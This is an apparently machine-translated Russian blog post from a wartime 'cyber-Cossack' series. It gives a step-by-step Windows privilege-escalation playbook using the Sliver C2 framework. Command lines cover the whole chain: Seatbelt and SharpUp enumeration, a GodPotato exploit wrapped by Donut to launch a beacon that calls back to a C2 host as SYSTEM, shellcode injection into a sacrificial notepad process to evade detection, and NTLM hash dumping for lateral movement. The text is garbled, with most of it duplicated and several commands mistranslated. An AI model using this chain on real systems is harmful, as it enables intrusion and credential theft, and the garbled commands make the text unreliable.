Добро пожаловать обратно, кибервоины!
Пока другие играют в CTF (захват флага), наши киберказаки играют боевыми патронами, чтобы не дать Путину и его дружкам захлестнуть Украину своими жестокими атаками. Представляем вам последний выпуск Overwatch с передовой кибервойны с Россией.
В предыдущей публикации мы рассказали, как получить первоначальный доступ и установить стабильную связь со скомпрометированным хостом. Но закрепиться на нём — это только начало. Чтобы полностью контролировать систему и расширить своё присутствие в сети, следующим естественным шагом становится повышение привилегий. На этом этапе, часто относящемся к стадии постэксплуатации, многие операторы «красной команды» извлекают максимальную выгоду из доступа: сливают учётные данные, продвигаются по горизонтали или обеспечивают более глубокое проникновение. Однако конфиденциальность остаётся ключевой. Выполнение случайных инструментов и скриптов в конечном итоге приведёт к срабатыванию сигнализации, поэтому будьте осторожны. В этой части мы сосредоточимся на надёжном методе повышения привилегий с использованием Sliver.
Если ремень безопасности еще не установлен:
sliver > armory устанавливает ремень безопасности
Чтобы запустить функцию «Ремень безопасности»:
sliver (сессия) > ремень безопасности — -group=all
В качестве альтернативы, если вы предпочитаете execute-assembly или Seatbelt не запускается в Sliver, используйте его версию SharpCollection:
c2 > git clone https://github.com/Flangvik/SharpCollection
sliver (сеанс) > execute-assembly /tools/SharpCollection/NetFramework_4.0_Any/Seatbelt.exe -group=system
Ожидайте подробного вывода. Тщательно проанализируйте его на предмет контекста пользователя, запланированных заданий, исключений AV, записей автоматического входа в систему и назначенных привилегий.
SharpUp — ещё один инструмент на C#, специально разработанный для обнаружения локальных векторов повышения привилегий. Он проверяет типичные ошибки конфигурации Windows, такие как некавычки в путях к службам, неправильные разрешения реестра и каталогов, а также ключи AlwaysInstallElevated. Он выполняет более прямые проверки по сравнению с Seatbelt, но при этом менее комплексный. SharpUp следует рассматривать как вспомогательный инструмент, а не как основной.
Чтобы убедиться в наличии уязвимости и подготовиться к эксплуатации, используйте Seatbelt , SharpUp или getprivs для просмотра привилегий текущего сеанса. Если SeImpersonatePrivilege указан, приступайте к эксплуатации.
Загрузите GodPotato:
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
Выполните и посмотрите результат:
sliver (сессия) > execute-assembly /tmp/GodPotato-NET4.exe -cmd “whoami”
Если команда возвращает «NT AUTHORITY\SYSTEM», эксплойт срабатывает. Далее мы встроим наш маяк Sliver в логику GodPotato с помощью Donut. Это запустит наш маяк от имени SYSTEM.
Donut — это инструмент для генерации загрузчиков шелл-кода в памяти из сборок .NET, PE-файлов или скриптов. Он генерирует шелл-код, который можно внедрять напрямую, минуя дисковые системы обнаружения.
Установите его:
c2 > git clone https://github.com/TheWover/donut.git
c2 > cd donut/; make -f Makefile
После этого вы можете протестировать его, выполнив следующее:
c2 > ./пончик
Следующий шаг — создание нового маяка, который будет выполнять эксплойт:
sliver > generate beacon –mtls <C2_IP> –skip-symbols -N mtls_beacon –save /tmp
Загрузите его:
sliver (session) > upload /tmp/mtls_beacon.exe C:\\Windows\\Temp\\mtls_beacon.exe
Теперь вернёмся к Donut, чтобы изменить логику нашего эксплойта. Наша цель — запустить маяк с наивысшими привилегиями после запуска эксплойта. Вот как это сделать:
c2 > ./donut -i /tmp/GodPotato-NET4.exe -a 2 -b 2 -p '-cmd c:\windows\temp\mtls_beacon.exe' -o /tmp/godpotato.bin
Теперь у нас есть двоичный файл, который будет использоваться для повышения привилегий.
Перед запуском эксплойта часто бывает разумно внедрить шелл-код в фиктивный процесс для обеспечения скрытности и безопасности. Rubeus может помочь запустить чистый экземпляр notepad.exe для этой цели.
sliver (session) > execute-assembly /tmp/Rubeus.exe createnetonly /program:C:\windows\system32\notepad.exe
Получите идентификатор процесса (PID) и приготовьтесь к внедрению шелл-кода.
Выполнить полезную нагрузку GodPotato как шелл-код внутри фиктивного процесса:
sliver (session) > execute-shellcode -p 1352 /tmp/godpotato.bin
Подождите несколько минут. Новый маяк, работающий под учетной записью SYSTEM, снова зарегистрируется. К этому моменту у вас будет доступ уровня SYSTEM к скомпрометированному хосту.
Теперь вы можете взаимодействовать с ним или преобразовать его в сеанс, введя команду interact :
sliver (session) > interactive
Наконец, выполните команду hashdump , чтобы извлечь все NTLM-хеши из скомпрометированной системы. После извлечения передайте их в nxc , чтобы перечислить, какие машины в сети уже были скомпрометированы.
В части 4 мы более подробно рассмотрим вопрос сохранения и узнаем, как защитить свои сеансы.
Пока другие играют в CTF (захват флага), наши киберказаки играют боевыми патронами, чтобы не дать Путину и его дружкам захлестнуть Украину своими жестокими атаками. Представляем вам последний выпуск Overwatch с передовой кибервойны с Россией.
В предыдущей публикации мы рассказали, как получить первоначальный доступ и установить стабильную связь со скомпрометированным хостом. Но закрепиться на нём — это только начало. Чтобы полностью контролировать систему и расширить своё присутствие в сети, следующим естественным шагом становится повышение привилегий. На этом этапе, часто относящемся к стадии постэксплуатации, многие операторы «красной команды» извлекают максимальную выгоду из доступа: сливают учётные данные, продвигаются по горизонтали или обеспечивают более глубокое проникновение. Однако конфиденциальность остаётся ключевой. Выполнение случайных инструментов и скриптов в конечном итоге приведёт к срабатыванию сигнализации, поэтому будьте осторожны. В этой части мы сосредоточимся на надёжном методе повышения привилегий с использованием Sliver.
Подсчет с ремнем безопасности
Seatbelt — это инструмент на C#, специально разработанный для сбора данных в средах Windows. Он собирает важные системные данные, которые часто выявляют уязвимости. С его помощью можно получить всю информацию: от текущих пользователей, вошедших в систему, и запланированных задач до настроек Защитника Windows, конфигурации домена и неправильно настроенных политик. Он предлагает скрытый способ сбора подробной информации о среде и выявления путей повышения привилегий. Для корректной работы инструмента в Sliver убедитесь, что вы добавили два дефиса после имени инструмента перед передачей аргументов. Это поможет Sliver правильно интерпретировать контекст выполнения.Если ремень безопасности еще не установлен:
sliver > armory устанавливает ремень безопасности
Чтобы запустить функцию «Ремень безопасности»:
sliver (сессия) > ремень безопасности — -group=all
В качестве альтернативы, если вы предпочитаете execute-assembly или Seatbelt не запускается в Sliver, используйте его версию SharpCollection:
c2 > git clone https://github.com/Flangvik/SharpCollection
sliver (сеанс) > execute-assembly /tools/SharpCollection/NetFramework_4.0_Any/Seatbelt.exe -group=system
Ожидайте подробного вывода. Тщательно проанализируйте его на предмет контекста пользователя, запланированных заданий, исключений AV, записей автоматического входа в систему и назначенных привилегий.
SharpUp — ещё один инструмент на C#, специально разработанный для обнаружения локальных векторов повышения привилегий. Он проверяет типичные ошибки конфигурации Windows, такие как некавычки в путях к службам, неправильные разрешения реестра и каталогов, а также ключи AlwaysInstallElevated. Он выполняет более прямые проверки по сравнению с Seatbelt, но при этом менее комплексный. SharpUp следует рассматривать как вспомогательный инструмент, а не как основной.
Использование привилегий
Одна из привилегий, с которой вы можете столкнуться, — это SeImpersonatePrivilege . Она позволяет процессу выдавать себя за другого пользователя и широко используется для локального повышения привилегий с помощью трюков с именованными каналами. Эта привилегия используется несколькими эксплойтами, включая PrintSpoofer, RoguePotato и GodPotato.
Чтобы убедиться в наличии уязвимости и подготовиться к эксплуатации, используйте Seatbelt , SharpUp или getprivs для просмотра привилегий текущего сеанса. Если SeImpersonatePrivilege указан, приступайте к эксплуатации.
Загрузите GodPotato:
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
Выполните и посмотрите результат:
sliver (сессия) > execute-assembly /tmp/GodPotato-NET4.exe -cmd “whoami”
Если команда возвращает «NT AUTHORITY\SYSTEM», эксплойт срабатывает. Далее мы встроим наш маяк Sliver в логику GodPotato с помощью Donut. Это запустит наш маяк от имени SYSTEM.
Donut — это инструмент для генерации загрузчиков шелл-кода в памяти из сборок .NET, PE-файлов или скриптов. Он генерирует шелл-код, который можно внедрять напрямую, минуя дисковые системы обнаружения.
Установите его:
c2 > git clone https://github.com/TheWover/donut.git
c2 > cd donut/; make -f Makefile
После этого вы можете протестировать его, выполнив следующее:
c2 > ./пончик
Следующий шаг — создание нового маяка, который будет выполнять эксплойт:
sliver > generate beacon –mtls <C2_IP> –skip-symbols -N mtls_beacon –save /tmp
Загрузите его:
sliver (session) > upload /tmp/mtls_beacon.exe C:\\Windows\\Temp\\mtls_beacon.exe
Теперь вернёмся к Donut, чтобы изменить логику нашего эксплойта. Наша цель — запустить маяк с наивысшими привилегиями после запуска эксплойта. Вот как это сделать:
c2 > ./donut -i /tmp/GodPotato-NET4.exe -a 2 -b 2 -p '-cmd c:\windows\temp\mtls_beacon.exe' -o /tmp/godpotato.bin
Теперь у нас есть двоичный файл, который будет использоваться для повышения привилегий.
Перед запуском эксплойта часто бывает разумно внедрить шелл-код в фиктивный процесс для обеспечения скрытности и безопасности. Rubeus может помочь запустить чистый экземпляр notepad.exe для этой цели.
sliver (session) > execute-assembly /tmp/Rubeus.exe createnetonly /program:C:\windows\system32\notepad.exe
Получите идентификатор процесса (PID) и приготовьтесь к внедрению шелл-кода.
Выполнить полезную нагрузку GodPotato как шелл-код внутри фиктивного процесса:
sliver (session) > execute-shellcode -p 1352 /tmp/godpotato.bin
Подождите несколько минут. Новый маяк, работающий под учетной записью SYSTEM, снова зарегистрируется. К этому моменту у вас будет доступ уровня SYSTEM к скомпрометированному хосту.
Теперь вы можете взаимодействовать с ним или преобразовать его в сеанс, введя команду interact :
sliver (session) > interactive
Наконец, выполните команду hashdump , чтобы извлечь все NTLM-хеши из скомпрометированной системы. После извлечения передайте их в nxc , чтобы перечислить, какие машины в сети уже были скомпрометированы.
Заключение
Повышение привилегий — критически важный этап на этапе постэксплуатации, особенно если вы хотите сохраниться на компьютере или расширить сеть. Такие инструменты, как Seatbelt, SharpUp и Rubeus, помогут вам обнаружить уязвимости, а Donut и GodPotato предоставят средства для их скрытого устранения. Теперь, когда маяк работает с максимально доступными привилегиями, вы получаете полный контроль над целевым компьютером.В части 4 мы более подробно рассмотрим вопрос сохранения и узнаем, как защитить свои сеансы.